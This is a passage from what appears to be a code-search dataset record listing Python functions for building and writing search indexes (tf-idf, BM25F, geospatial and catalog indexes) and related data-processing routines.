latlngfielddata.replace(LATLNG_FIELD_SPLIT_CHAR+LATLNG_FIELD_SPLIT_CHAR, LATLNG_FIELD_SPLIT_CHAR)\n lat, lng = latlngfielddata.split(LATLNG_FIELD_SPLIT_CHAR)\n url = 'http://api.geonames.org/countryCode?lat={}&lng={}&username={}'.format(lat.strip(), lng.strip(), GEONAMES_USERNAME)\n r = requests.get(url)\n if r.status_code != 200:\n print(\"API PROBLEM\")\n print(', '.join(row))\n print(r.status_code)\n print(r.text)\n exit(-1)\n\n if r.text.strip() == 'ERR:15:no country code found':\n row.append('')\n elif r.text.startswith(\"ERR\"):\n print(\"API PROBLEM\")\n print(', '.join(row))\n print(r.status_code)\n print(r.text)\n exit(-1)\n else:\n row.append(r.text.strip())\n else:\n row.append('')\n\n csvwriter.writerow(row)\n\n time.sleep(SLEEP)\n\n #exit()","def write_to_Index_BM25F(self, term_dict_bm25f, inverted_indexes):\n for term in term_dict_bm25f.get_keys():\n if (len(term) > 255):\n continue\n\n cord_uid = term_dict_bm25f.get_value(term)[0]\n field_dict = term_dict_bm25f.get_value(term)[1]\n \n if term in inverted_indexes:\n inverted_indexes[term][cord_uid] = field_dict\n else:\n inverted_indexes[term] = dict()\n inverted_indexes[term][cord_uid] = field_dict\n return inverted_indexes","def update_index(signum):\n cdx = redis_cli.zrange('ipfs:cdxj', 0, -1)\n cdx = ''.join(cdx)\n buff = BytesIO(cdx)\n\n # Add New Index\n res = ipfs_api.add(CustomNameStream(buff, 'index.cdxj'))\n print('Updating Index: ' + str(res))\n\n # Register with IPNS\n res = ipfs_api.name_publish(res['Hash'])\n print res","def create_index_tfidf(lines, numDocuments):\n \n index=collections.defaultdict(list)\n tf=collections.defaultdict(list) #term frequencies of terms in documents (documents in the same order as in the main index)\n df=collections.defaultdict(int) #document frequencies of terms in the corpus\n idf=collections.defaultdict(float)\n with Bar('Creating tf-idf index', max=len(lines)) as bar:\n for key in lines:\n page_id = key \n terms = getTerms(lines[key]) \n\n ## create the index for the **current page** and store it in termdictPage\n ## termdictPage in form ==> { ‘term1’: [currentdoc, [list of positions]], ...,‘termn’: [currentdoc, [list of positions]]}\n\n termdictPage={}\n\n for position, term in enumerate(terms): \n try:\n # if the term is already in the dict append the position to the corrisponding list\n termdictPage[term][1].append(position) \n except:\n # Add the new term as dict key and initialize the array of positions and add the position\n termdictPage[term]=[page_id, array('I',[position])] \n\n #normalize term frequencies\n norm=0\n for term, posting in termdictPage.items(): \n # posting ==> [currentdoc, [list of positions]] \n norm+=len(posting[1])**2\n norm=math.sqrt(norm)\n\n\n #calculate the tf(dividing the term frequency by the above computed norm) and df weights\n for term, posting in termdictPage.items(): \n # append the tf for current term (tf = term frequency in current doc/norm)\n tf[term].append(np.round(len(posting[1])/norm,4)) ## SEE formula (1) above\n #increment the document frequency of current term (number of documents containing the current term)\n df[term] += 1 \n\n #merge the current page index with the main index\n for termpage, postingpage in termdictPage.items():\n index[termpage].append(postingpage)\n\n # Compute idf following the formula (3) above. HINT: use np.log\n bar.next()\n for term in df:\n idf[term] = np.round(np.log(float(numDocuments/df[term])),4)\n \n return (index, tf, df, idf)","def _init_index(self):\n\n if self._check_idx:\n self._index = bamnostic.bai.Bai(self._index_path)\n self.__nocoordinate = self._index.n_no_coor\n self.__mapped = sum(self._index.unmapped[mapped].n_mapped for mapped in self._index.unmapped) + self.nocoordinate\n self.__unmapped = sum(self._index.unmapped[unmapped].n_unmapped for unmapped in self._index.unmapped) + self.nocoordinate","def _add_traj_field_data(self,\n run_idx,\n traj_idx,\n field_path,\n field_data,\n sparse_idxs=None,\n ):\n\n # get the traj group\n traj_grp = self._h5['{}/{}/{}/{}'.format(RUNS, run_idx, TRAJECTORIES, traj_idx)]\n\n # if it is a sparse dataset we need to add the data and add\n # the idxs in a group\n if sparse_idxs is None:\n\n # first require that the dataset exist and is exactly the\n # same as the one that already exists (if indeed it\n # does). If it doesn't raise a specific error letting the\n # user know that they will have to delete the dataset if\n # they want to change it to something else\n try:\n dset = traj_grp.require_dataset(field_path, shape=field_data.shape, dtype=field_data.dtype,\n exact=True,\n maxshape=(None, *field_data.shape[1:]))\n except TypeError:\n raise TypeError(\"For changing the contents of a trajectory field it must be the same shape and dtype.\")\n\n # if that succeeds then go ahead and set the data to the\n # dataset (overwriting if it is still there)\n dset[...] = field_data\n\n else:\n sparse_grp = traj_grp.create_group(field_path)\n # add the data to this group\n sparse_grp.create_dataset(DATA, data=field_data,\n maxshape=(None, *field_data.shape[1:]))\n # add the sparse idxs\n sparse_grp.create_dataset(SPARSE_IDXS, data=sparse_idxs,\n maxshape=(None,))","def _save_rep_prof_index_internally(self):\n\n self.data.solar_meta[self.__solar_rpi_n] = self.data.solar_meta.index\n self.data.wind_meta[self.__wind_rpi_n] = self.data.wind_meta.index"],"string":"[\n \"def _do_index_fields(self, doc, generator, obj, obj_weight):\\n for field in self.fields + self.tags:\\n # Trying to resolve field value or skip it\\n # Отладочка:\\n # print(field, field.resolve(obj))\\n try:\\n value = field.resolve(obj)\\n if value is None:\\n continue\\n except AttributeError:\\n continue\\n if field.prefix:\\n fvalue = field.convert(value)\\n doc.add_value(field.number, fvalue)\\n prefix = smart_text(field.get_tag())\\n value = smart_text(value)\\n generator.index_text_without_positions(value, field.weight*obj_weight, prefix)\\n if prefix: # if prefixed then also index without prefix\\n generator.index_text_without_positions(value, field.weight*obj_weight)\",\n \"def create_index():\",\n \"def define_index_field(DomainName=None, IndexField=None):\\n pass\",\n \"def rebuild_index():\\n print('Building indexes...')\\n print(data_fldr)\\n ndx = []\\n for root, _, files in os.walk(data_fldr):\\n for f in files:\\n if f[-3:].upper() in ['CSV','TXT']:\\n ndx.extend(get_index_terms(root + os.sep + f))\\n with open(ndx_file, 'w') as fio:\\n for i in ndx:\\n fio.write(i + '\\\\n')\",\n \"def create_location_index():\\n get_rsvps_database().groups.create_index([(\\\"location\\\", GEOSPHERE)])\",\n \"def build_index(self):\\n \\n \\n geoids = self.partitions.find_or_new(table='facilities_geoids')\\n addresses = self.partitions.find_or_new(table='facilities_addresses')\\n facilities = self.partitions.find(table='facilities')\\n \\n facilities.attach(addresses,'addresses')\\n facilities.attach(geoids,'geoids')\\n \\n q = \\\"\\\"\\\"\\n SELECT year, type, oshpd_id, facility_name, dba_city, dba_zip_code, blockgroup_gvid, tract_gvid, county_gvid\\n FROM facilities\\n JOIN geoids.facilities_geoids AS geoids ON geoids.facilities_id = facilities.id\\n JOIN addresses.facilities_addresses AS addresses ON addresses.facilities_id = facilities.id\\n \\\"\\\"\\\"\\n \\n p = self.partitions.find_or_new(table='facilities_index')\\n p.clean()\\n lr = self.init_log_rate()\\n \\n with p.inserter() as ins:\\n for row in facilities.query(q):\\n ins.insert(row)\\n lr(str(p.identity))\",\n \"def reindex_subcomponent_taxa():\\n pass\",\n \"def create_index(args, client):\\n policy = {}\\n client.index_geo2dsphere_create(args.nspace, args.set,\\n LOCBIN, LOCNDX, policy)\\n client.index_integer_create(args.nspace, args.set,\\n HSHBIN, HSHNDX, policy)\",\n \"def build_index():\\n pass\",\n \"def reindexed_dataframe(self):\\n tmp = self.metric.copy()\\n tmp.index = tmp.index.map(self.match_regions())\\n #give the same index order as the geojson\\n out = tmp.reindex(index = self.regions_names())\\n return out\\n #index_name = out.index.name\\n\\n #return out.reset_index().dropna().set_index(index_name)[self.metric.name]\",\n \"def generateForcingFields(self, conc_idx, inputs, outputs):\\n\\n\\t\\tForcing.log(\\\"Running %s.generateForcingFields()\\\"%type(self))\\n\\n\\t\\t# Some variable used later\\n\\t\\tscalar = None\\n\\n\\t\\tif self.griddedTimeZoneFld == None:\\n\\t\\t\\t# Assume all timezones are GMT\\n\\t\\t\\tprint \\\"Warning! No gridded time zone information loaded. Using a field of zeros.\\\"\\n\\t\\t\\ttz = np.zeros((self.ni,self.nj))\\n\\t\\telse:\\n\\t\\t\\ttz = self.griddedTimeZoneFld\\n\\n\\t\\tif len(self.species) == 0:\\n\\t\\t\\traise NoSpeciesException(\\\"Must specify species\\\")\\n\\t\\t\\treturn\\n\\n\\t\\t# We doing time averaging?\\n\\t\\tif self.averaging in ['AVG_MAX', 'AVG_MAX8', 'AVG_MAX24']:\\n\\t\\t\\tdo_averaging=True\\n\\t\\t\\taveraging_window = self.averaging_window\\n\\t\\telse:\\n\\t\\t\\tdo_averaging=False\\n\\t\\t\\taveraging_window = None\\n\\t\\t\\t#if self.averaging == 'AVG_MASK' or self.averaging == 'AVG_NONE'\\n\\t\\t\\tif self.averaging == 'AVG_NONE':\\n\\t\\t\\t\\t# Ensure this is set right\\n\\t\\t\\t\\tself.timeMask = range(0,25)\\n\\t\\t\\t# If it's the mask, then the timemask should already be set\\n\\n\\t\\t# Create zero fields to allocate our arrays\\n\\t\\tfld_empty=np.zeros((len(self.species), self.nt, self.nk_f, self.nj, self.ni), dtype=np.float32)\\n\\n\\t\\t# Get the relative days, so [-1 0 1] for [yesterday, today, tomorrow]\\n\\t\\trdays = inputs.keys()\\n\\t\\t# Probably an easiesr way to initalize this since we're only writing later, but for now we'll do it.\\n\\t\\tflds={}\\n\\t\\tfor d in rdays:\\n\\t\\t\\tflds[d] = fld_empty.copy()\\n\\n\\t\\t# This is NOT efficient. Could probably easily make it\\n\\t\\t# more efficient by implementing some sort of cache though..\\n\\t\\tfor idx_s, species in enumerate(self.species):\\n\\t\\t\\t#print \\\"Iteratiing through species %d=%s\\\"%(idx_s, species)\\n\\n\\t\\t\\t# Initialize the data flds. Set to zero if there's a day that doesn't exist\\n\\t\\t\\tdatas={}\\n\\t\\t\\tfor d in rdays:\\n\\t\\t\\t\\tif inputs[d] is None:\\n\\t\\t\\t\\t\\tdatas[d] = np.zeros((self.nt, self.nk_f, self.nj, self.ni), dtype=np.float32)\\n\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\tdatas[d] = inputs[d].variables[species][:]\\n\\n\\t\\t\\t# Recall, mask is already considered in these vectors\\n\\t\\t\\tfor k in self._layers:\\n\\t\\t\\t\\t# I think there's a better way to do the next two loops, don't know it though.\\n\\t\\t\\t\\tfor i in range(0,self.ni):\\n\\t\\t\\t\\t\\tfor j in range(0,self.nj):\\n\\n\\t\\t\\t\\t\\t\\t# Spatial mask\\n\\t\\t\\t\\t\\t\\tif not self.space[j,i]:\\n\\t\\t\\t\\t\\t\\t\\t# This is masked out. Set to zero and go to the next cell\\n\\t\\t\\t\\t\\t\\t\\tfor d in rdays:\\n\\t\\t\\t\\t\\t\\t\\t\\tflds[d][idx_s][0:self.nt,k,j,i] = np.zeros((self.nt), dtype=np.float32)\\n\\t\\t\\t\\t\\t\\t\\tcontinue\\n\\t\\t\\t\\t\\t\\t#else:\\n\\t\\t\\t\\t\\t\\t#\\t# TEMP HACK!!\\n\\t\\t\\t\\t\\t\\t# # This temp hack is used to ensure the mask is working\\n\\t\\t\\t\\t\\t\\t#\\tfld_yest[0:self.nt,k,j,i] = np.ones((self.nt), dtype=np.float32)\\n\\t\\t\\t\\t\\t\\t#\\tfld_today[0:self.nt,k,j,i] = np.ones((self.nt), dtype=np.float32)\\n\\t\\t\\t\\t\\t\\t#\\tfld_tom[0:self.nt,k,j,i] = np.ones((self.nt), dtype=np.float32)\\n\\t\\t\\t\\t\\t\\t#\\tcontinue\\n\\n\\n\\t\\t\\t\\t\\t\\t# Take averaging into consideration\\n\\t\\t\\t\\t\\t\\t# For almost all of these averagings, we'll have to\\n\\t\\t\\t\\t\\t\\t# build a vector of all values for all times at that\\n\\t\\t\\t\\t\\t\\t# cell. Unfortunately, the data is organized in the \\n\\t\\t\\t\\t\\t\\t# opposite way as we want (time is the top index..)\\n\\t\\t\\t\\t\\t\\tif do_averaging:\\n\\t\\t\\t\\t\\t\\t\\tvecs={}\\n\\t\\t\\t\\t\\t\\t\\tfor d in rdays:\\n\\t\\t\\t\\t\\t\\t\\t\\tvecs[d] = datas[d][:Forcing.dayLen,k,j,i]\\n\\n\\t\\t\\t\\t\\t\\t\\t# REMOVE!\\n\\t\\t\\t\\t\\t\\t\\t#if i==self.debug_i and j==self.debug_j:\\n\\t\\t\\t\\t\\t\\t\\t#\\tprint \\\"vec_today[%d,%d]: \\\"%(self.debug_j, self.debug_i), vec_today\\n\\n\\t\\t\\t\\t\\t\\t\\t# Prepares a vector of values with respect to the\\n\\t\\t\\t\\t\\t\\t\\t# direction we're going to calculate the average\\n\\t\\t\\t\\t\\t\\t\\t# (forward/backward), the window size, and time\\n\\t\\t\\t\\t\\t\\t\\t# zone \\n\\n\\t\\t\\t\\t\\t\\t\\tvec = Forcing.prepareTimeVectorForAvg(vecs, timezone=tz[j][i], winLen=averaging_window, debug=False)\\n\\t\\t\\t\\t\\t\\t\\t#print \\\"i=%d,j=%d, preped vec[%d] = %s\\\"%(i,j,len(vec),\\\" \\\".join(map(str, vec)))\\n\\n\\t\\t\\t\\t\\t\\t\\t# Calculate the moving window average\\n\\t\\t\\t\\t\\t\\t\\tavgs = Forcing.calcMovingAverage(vec, winLen=averaging_window)\\n\\t\\t\\t\\t\\t\\t\\t#print \\\"i=%d,j=%d, avg vec[%d] = %s\\\"%(i,j,len(avgs),\\\" \\\".join(map(str, avgs)))\\n\\n\\t\\t\\t\\t\\t\\t\\t# And then, for the 8-hour max to be used for a\\n\\t\\t\\t\\t\\t\\t\\t# forcing term, generate a vector for yesterday,\\n\\t\\t\\t\\t\\t\\t\\t# today and tomorrow with the forcing terms in them\\n\\n\\t\\t\\t\\t\\t\\t\\tif self.timeInvariantScalarMultiplcativeFld is not None:\\n\\t\\t\\t\\t\\t\\t\\t\\tscalar = self.timeInvariantScalarMultiplcativeFld[j][i]/averaging_window\\n\\n\\t\\t\\t\\t\\t\\t\\tvecs = Forcing.applyForceToAvgTime(avgs, days=vecs.keys(), winLen=averaging_window, timezone=tz[j][i], min_threshold=self.threshold, forcingValue=scalar)\\n\\n# This was done blindly\\n\\t\\t\\t\\t\\t\\t\\tfor d in rdays:\\n\\t\\t\\t\\t\\t\\t\\t\\tflds[d][idx_s][:24,k,j,i] = vecs[d]\\n\\n\\t\\t\\t\\t\\t\\telif self.averaging == 'AVG_MASK' or self.averaging == 'AVG_NONE':\\n# NOT YET TESTED\\n\\t\\t\\t\\t\\t\\t\\traise NotImplementedError( \\\"Mask timing or no averaging is not yet tested. Averaging options=%s\\\"%self.averaging )\\n\\t\\t\\t\\t\\t\\t\\t# The comments assume timezone = -6\\n\\t\\t\\t\\t\\t\\t\\tfor t_gmt in self.timeMask:\\n\\t\\t\\t\\t\\t\\t\\t\\t# when t_gmt = 0, t_loc = -6, so we're into yesterday\\n\\t\\t\\t\\t\\t\\t\\t\\tt_loc = t_gmt + tz[j][i]\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t# Reference the arrays\\n\\t\\t\\t\\t\\t\\t\\t\\tif t_loc < 0:\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tdfld = data_yest\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t#ffld = fld_yest\\n\\t\\t\\t\\t\\t\\t\\t\\telif t_loc>0 and t_loc<Forcing.dayLen:\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tdfld = data_today\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t#ffld = fld_today\\n\\t\\t\\t\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tdfld = data_tomorrow\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t#ffld = fld_tomorrow\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t# I have to write in GMT\\n# This is wrong, as local times can write into another day.. maybe.. but since there's no averaging, another iteration will take care of that..\\n\\t\\t\\t\\t\\t\\t\\t\\tffld = fld_today\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t# fld[-6] is fld[18]\\n\\t\\t\\t\\t\\t\\t\\t\\tval=dfld[t_loc,k,j,i]\\n\\t\\t\\t\\t\\t\\t\\t\\tif threshold is not None:\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tif val > threshold:\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tforce = 1\\n\\t\\t\\t\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tif val > 0.0:\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tforce = 1\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t# Set the field in the referenced forcing field\\n\\t\\t\\t\\t\\t\\t\\t\\tffld[t_loc,k,j,i] = force\\n\\n\\t\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\t\\traise NotImplementedError( \\\"Unavailable time averaging method (%s) selected\\\"%self.averaging )\\n\\n\\t\\t\\t\\t\\t\\t#endif averaging\\n\\t\\t\\t\\t\\t#endfor j\\n\\t\\t\\t\\t#endfor i\\n\\t\\t\\t#endfor k\\n\\n\\t\\t#endfor species\\n\\n\\t\\treturn flds\",\n \"def build_index(in_dir, out_dict, out_postings):\\n print('indexing...')\\n\\n maxInt = sys.maxsize\\n\\n while True:\\n # decrease the maxInt value by factor 10 \\n # as long as the OverflowError occurs.\\n try:\\n csv.field_size_limit(maxInt)\\n break\\n except OverflowError:\\n maxInt = int(maxInt/10)\\n\\n #Dicitionary for saving the normalized weights for document vector\\n lengths = dict()\\n\\n #Number of docs read from csv\\n total_docs = 1\\n max_docs = 1000\\n\\n #Data stored in csv read file line by line and save columns data\\n with open(os.path.join(in_dir), 'r', encoding=\\\"utf8\\\") as data_csv:\\n reader = csv.DictReader(data_csv)\\n #each line corresponds to a document\\n for doc in reader:\\n\\n #if(total_docs > max_docs):\\n # break\\n\\n #If line is blank, just skip\\n if doc is None:\\n continue\\n \\n #save the different columns of the doc\\n doc_id = int(doc[\\\"document_id\\\"])\\n #Remove punctuation in title and content\\n doc_title = re.sub(r\\\"[,;@#?!&$()%\\\\[\\\\]°~^_.+=\\\\\\\"><`|}{*':/]+ *\\\", \\\" \\\", doc[\\\"title\\\"])\\n doc_content = re.sub(r\\\"[,;@#?!&$()%\\\\[\\\\]°~^_.+=\\\\\\\"><`|}{*':/]+ *\\\", \\\" \\\", doc[\\\"content\\\"])\\n doc_date = doc[\\\"date_posted\\\"]\\n doc_year = doc_date[0:4]\\n doc_court = doc[\\\"court\\\"]\\n\\n #The dictionaryies are updated, postings lists are updated or new terms added\\n update_terms_zones_dictionary(doc_id, doc_title, \\\".title\\\")\\n update_terms_zones_dictionary(doc_id, doc_content, \\\".content\\\")\\n update_date_field_dictionary(doc_id, doc_year)\\n update_court_field_dictionary(doc_id, doc_court)\\n\\n total_docs += 1\\n\\n data_csv.close()\\n\\n #This section stores the Log TF using the word counts in the postings in the dictionary\\n #It saves the Log TF in an auxiliary dictionary named lengths\\n for word in dictionary:\\n #Get postings list for the word\\n postings_list = dictionary[word]\\n\\n for docID_termF in postings_list:\\n #Get the vector for the doc, where the docId is docID_termF[0]\\n #If there is no vector for this doc, then create a new dict\\n #I am using dictionaries as the vector for the word only for the calculations\\n doc_vector = lengths.get(docID_termF[0], dict())\\n #I add the logarithmic term frequency to that document vector\\n doc_vector[word] = 1 + math.log(docID_termF[1], 10)\\n #Save that to its corresponding doc\\n lengths[docID_termF[0]] = doc_vector\\n\\n #This section normalizes the Log TFs \\n for doc_vector in lengths.values():\\n #We store each of the values in a list and then use:\\n #np.linalg.norm to do the normalization = sqrt(sum(values^2))\\n weights = doc_vector.values()\\n #We get the vectors magnitude\\n magnitude = np.linalg.norm(np.array(list(weights)))\\n for word in doc_vector.keys():\\n #For every word entry in the vector \\n #normalize by dividing the weight by the magnitude\\n doc_vector[word] = doc_vector[word] / magnitude\\n\\n #This section replaces the word count in the tuple of the dictionary with the Normalized Log TF\\n #It also sorts the postings list by doc ID\\n for word in dictionary:\\n #Get postings list for the word\\n postings_list = dictionary[word]\\n new_postings_list = list()\\n for docID_termF in postings_list:\\n docID_termF = ( docID_termF[0], lengths[docID_termF[0]][word] )\\n new_postings_list.append(docID_termF)\\n new_postings_list.sort()\\n dictionary[word] = new_postings_list\\n\\n ''' \\n with open('ugly_dictionary.txt', 'w') as fp:\\n json.dump(dictionary, fp)\\n '''\\n #Determine the relevance of each doc by the court that it has in its court field\\n #Save the relevant docs and their relevance\\n relevant_courts_dict = { \\\"SG Court of Appeal\\\":2, \\\"SG Privy Council\\\":2, \\\"UK House of Lords\\\":2, \\\"UK Supreme Court\\\":2,\\n \\\"High Court of Australia\\\":2, \\\"CA Supreme Court\\\":2, \\\"SG High Court\\\":1.5, \\\"Singapore International Commercial Court\\\":1.5,\\n \\\"HK High Court\\\": 1.5, \\\"HK Court of First Instance\\\": 1.5, \\\"UK Crown Court\\\": 1.5, \\\"UK Court of Appeal\\\": 1.5, \\\"UK High Court\\\": 1.5, \\n \\\"Federal Court of Australia\\\": 1.5, \\\"NSW Court of Appeal\\\": 1.5, \\\"NSW Court of Criminal Appeal\\\": 1.5, \\\"NSW Supreme Court\\\": 1.5}\\n\\n relevant_docs = dict()\\n \\n for court_name in relevant_courts_dict:\\n court_postings_list = court_dictionary.get(court_name, -1)\\n if(court_postings_list != -1):\\n for docid in court_postings_list:\\n #save a dictionary of docID and its relevance (2 or 1.5) according to its court\\n relevant_docs[docid] = relevant_courts_dict[court_name]\\n\\n #This section traverse each word (key) in the dictionary, get its postings list and save it in a different file \\n postings_list_file = open(out_postings, \\\"wb\\\") \\n for word in dictionary:\\n #Get postings list for the word\\n postings_list = dictionary[word]\\n #Get the document frequency\\n document_frequency = len(postings_list)\\n #Know the starting position for the pointer\\n postings_list_position = postings_list_file.tell()\\n # Writing to file \\n pickle.dump(postings_list, postings_list_file)\\n #Replace postings list with reference to the position\\n dictionary[word] = (document_frequency, postings_list_position)\\n for date in date_dictionary:\\n #Get postings list for the date\\n postings_list = date_dictionary[date]\\n #Get the document frequency\\n document_frequency = len(postings_list)\\n #Know the starting position for the pointer\\n postings_list_position = postings_list_file.tell()\\n # Writing to file \\n pickle.dump(postings_list, postings_list_file)\\n #Replace postings list with reference to the position\\n date_dictionary[date] = (document_frequency, postings_list_position)\\n for court in court_dictionary:\\n #Get postings list for the date\\n postings_list = court_dictionary[court]\\n #Get the document frequency\\n document_frequency = len(postings_list)\\n #Know the starting position for the pointer\\n postings_list_position = postings_list_file.tell()\\n # Writing to file \\n pickle.dump(postings_list, postings_list_file)\\n #Replace postings list with reference to the position\\n court_dictionary[court] = (document_frequency, postings_list_position)\\n #Close the postings lists file\\n postings_list_file.close() \\n\\n #Now open the dictionary file and save the three dictionaries\\n with open(out_dict, 'wb') as dictionary_file:\\n pickle.dump(total_docs, dictionary_file, protocol=pickle.HIGHEST_PROTOCOL)\\n pickle.dump(dictionary, dictionary_file, protocol=pickle.HIGHEST_PROTOCOL)\\n pickle.dump(date_dictionary, dictionary_file, protocol=pickle.HIGHEST_PROTOCOL)\\n pickle.dump(court_dictionary, dictionary_file, protocol=pickle.HIGHEST_PROTOCOL)\\n pickle.dump(relevant_docs, dictionary_file, protocol=pickle.HIGHEST_PROTOCOL)\\n \\n '''\\n The structure we have is:\\n\\n dictionary.txt: Has three dictionaries\\n {word.zone : [doc_freq, pointer], word.zone: [doc_freq, pointer], ...}\\n {date : [doc_freq, pointer], date: [doc_freq, pointer], ...}\\n {court : [doc_freq, pointer], court: [doc_freq, pointer], ...}\\n\\n postings.txt: Has the postings for the three dictionaries\\n For the dictionary postings:\\n [[docID,termFrequency],[docID,termFrequency]]\\n [[docID,termFrequency]] ...\\n For the date_dictionary postings:\\n [docId, docId, docId, docId]\\n For the court_dictionary postings:\\n [docId, docId, docId, docId]\\n ...\\n\\n Both documents together would be:\\n { word.zone: [doc_freq, [[docID,termFrequency], ... ]], \\n word.zone: [doc_freq, [[docID,termFrequency].}, ...]] }\\n { date: [doc_freq, [docID, docID, ... ]], date: [doc_freq, [docID, docID, ... ]] }\\n { court: [doc_freq, [docID, docID, ... ]], date: [doc_freq, [docID, docID, ... ]] }\\n\\n lengths.txt\\n [document: [word: weight, word: weight, ...], document: [word: weight, word: weight, ...]]\\n Decided to make it like this to keep control of which weights correspond to which words\\n Although for a document I will traverse all the weights to get the score\\n If the word is not in the document vector [which in my case is a dictionary], then its weight is 0\\n This way I am no using a sparse matrix\\n\\n '''\",\n \"def write_index(self, file_name):\\n self.df_index.to_csv(file_name, sep='\\\\t')\",\n \"def idx_createFieldIndex(plominoIndex, fieldname, fieldtype='TEXT', **args):\\n \\n if not hasattr(plominoIndex, 'createFieldIndex'):\\n plominoIndex = plominoIndex.getParentDatabase().getIndex()\\n \\n if not fieldname in plominoIndex.indexes():\\n plominoIndex.createFieldIndex(fieldname, fieldtype, **args)\",\n \"def compute_index(self, filename, tri):\\n self.index = {'name': filename, \\\"bi\\\": {}}\\n if tri:\\n self.index[\\\"tri\\\"] = {}\\n fichero = open(filename, 'r').read()\\n fichero = fichero.replace(\\\";\\\",\\\".\\\")\\n fichero = fichero.replace(\\\"\\\\n\\\\n\\\",\\\".\\\")\\n fichero = fichero.replace(\\\",\\\",\\\".\\\")\\n fichero = fichero.replace(\\\"?\\\",\\\".\\\")\\n fichero = fichero.replace(\\\"!\\\",\\\".\\\")\\n fichero = fichero.lower()\\n\\n for frase in fichero.split('.'):\\n frase = self.r2.sub(\\\" \\\", frase)\\n frase = \\\"$ \\\" + frase + \\\" $\\\"\\n Monkey.index_sentence(self, frase, tri)\\n\\n #sort_index(self, self.index['bi'])\\n if tri:\\n sort_index(self, self.index['tri'])\\n\\n extension = filename.find('.')\\n aux = filename[:extension] \\n new_filename = aux + 'index'\\n\\n with open(new_filename, 'w') as fh:\\n #print(self.index['bi'].items())\\n for nombre, valor in self.index['bi'].items():\\n fh.write(\\\"%s %s\\\\n\\\" %(nombre, valor))\",\n \"def _make_index(self, fname, sents, words):\\n for w in words:\\n # word index for this file only\\n findex = []\\n\\n for ixS, s in enumerate(sents):\\n # iterate over each word in the sentencep\\n for ixT, token in enumerate(s):\\n # could use regex for substring matching instead\\n if w == token.lower():\\n findex.append((ixS, ixT))\\n # keep track of word use frequency\\n self._freq[w] += 1\\n\\n # grow the main index \\n self._index[w][fname]= findex\",\n \"def postCalculate(self, node, result):\\n if node.nodeClass == \\\"index\\\":\\n if isinstance(result, pd.Index) and result.name is None:\\n result.name = node.identifier\",\n \"def test_geo_index():\\n\\tlib.backup_and_restore(\\n\\t\\tlambda context: create_indexes(lib.create_geo_index),\\n\\t\\tNone,\\n\\t\\tlambda context: check_indexes(lib.check_geo_index, (0.0, 0.0))\\n\\t)\",\n \"def index(self, index_element):\\n idx = Indexer.Index(index_element.corpus_path, index_element.posting_path, self.cities_from_api,\\n index_element.stop_words)\\n idx.create_index(index_element.stem, index_element.id, index_element.block_size)\",\n \"def _write_index(self):\\n # Make sure to only write non-default objects to the index.\\n self.store.write_object(\\n object=[obj.to_dict() for ns in self.index.values() for obj in ns.values() if not obj.is_default],\\n object_id=self.identifier\\n )\",\n \"def reindex(self):\",\n \"def reindex(self):\",\n \"def db_index_name(self):\\r\\n return 'index_{}'.format(self.db_field_name)\",\n \"def add_catalog_indexes(context, logger):\\n if logger is None:\\n logger = logging.getLogger('bungenicms.membershipdirectory')\\n \\n # Run the catalog.xml step as that may have defined new metadata columns. \\n # We could instead add <depends name=\\\"catalog\\\"/> to the registration of our \\n # import step in zcml, but doing it in code makes this method usable as \\n # upgrade step as well. Note that this silently does nothing when there is \\n # no catalog.xml, so it is quite safe.\\n setup = getToolByName(context, 'portal_setup')\\n setup.runImportStepFromProfile(PROFILE_ID, 'catalog')\\n \\n catalog = getToolByName(context, 'portal_catalog')\\n indexes = catalog.indexes()\\n \\n # Specify the indexes you want, with ('index_name', 'index_type')\\n wanted = (('county', 'FieldIndex'),\\n ('constituency', 'FieldIndex'),\\n ('priority_number', 'FieldIndex'), \\n ('political_party', 'FieldIndex'),\\n ('elected_nominated', 'FieldIndex'),\\n ('member_status', 'FieldIndex'),\\n ('special_interest', 'FieldIndex'),\\n ('other_names', 'FieldIndex'),\\n ('member_role', 'FieldIndex'),\\n ('member_title', 'FieldIndex'),\\n ('body_text', 'FieldIndex'),\\n ('member_full_names', 'ZCTextIndex'),\\n )\\n\\n indexables = []\\n for (name, meta_type) in wanted:\\n if meta_type and name not in indexes:\\n if meta_type == 'ZCTextIndex':\\n item_extras = Empty()\\n item_extras.doc_attr = name\\n item_extras.index_type = 'Okapi BM25 Rank'\\n item_extras.lexicon_id = 'plone_lexicon'\\n catalog.addIndex(name, meta_type, item_extras)\\n else:\\n catalog.addIndex(name, meta_type)\\n \\n indexables.append(name)\\n logger.info('Added %s for field %s.', meta_type, name)\\n if len(indexables) > 0:\\n logger.info('Indexing new indexes %s.', ', '.join(indexables))\\n catalog.manage_reindexIndex(ids=indexables)\",\n \"def _generate_index_report(self, index, query_analysis):\\r\\n\\r\\n all_fields = []\\r\\n equiv_fields = []\\r\\n sort_fields = []\\r\\n range_fields = []\\r\\n\\r\\n for query_field in query_analysis['analyzedFields']:\\r\\n all_fields.append(query_field['fieldName'])\\r\\n if query_field['fieldType'] is EQUIV_TYPE:\\r\\n equiv_fields.append(query_field['fieldName'])\\r\\n elif query_field['fieldType'] is SORT_TYPE:\\r\\n sort_fields.append(query_field['fieldName'])\\r\\n elif query_field['fieldType'] is RANGE_TYPE:\\r\\n range_fields.append(query_field['fieldName'])\\r\\n\\r\\n max_equiv_seq = len(equiv_fields)\\r\\n max_sort_seq = max_equiv_seq + len(sort_fields)\\r\\n max_range_seq = max_sort_seq + len(range_fields)\\r\\n\\r\\n coverage = 'none'\\r\\n query_fields_covered = 0\\r\\n query_field_count = query_analysis['fieldCount']\\r\\n supported = True\\r\\n ideal_order = True\\r\\n for index_field in index['key']:\\r\\n field_name = index_field[0]\\r\\n\\r\\n if 